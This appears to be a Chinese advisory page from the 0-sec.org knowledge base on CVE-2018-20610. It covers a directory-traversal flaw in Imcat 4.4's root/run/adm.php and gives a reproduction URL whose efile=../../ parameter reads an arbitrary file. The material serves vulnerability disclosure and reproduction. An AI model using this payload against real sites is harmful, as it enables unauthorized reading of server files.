(CVE-2018-20610)Imcat 4.4 敏感信息泄露

一、漏洞简介

imcat是一套基于PHP的开源建站系统。 imcat 4.4版本中的root/run/adm.php文件存在目录遍历漏洞。目前尚无此漏洞的相关信息,请随时关注CNNVD或厂商公告。

二、漏洞影响

imcat 4.4

三、复现过程

先在D盘创建1.txt

http://www.0-sec.org/root/run/adm.php?admin-ediy&part=edit&dkey=runs&dsub=&efile=../../1.txt&dialog=1546054963116&lang=cn

参考链接

https://github.com/AvaterXXX/CVEs/blob/master/imcat.md

零组资料文库 all right reserved,powered by 0-sec.org未经授权禁止转载 2020-03-02 01:24:38

results matching ""

    No results matching ""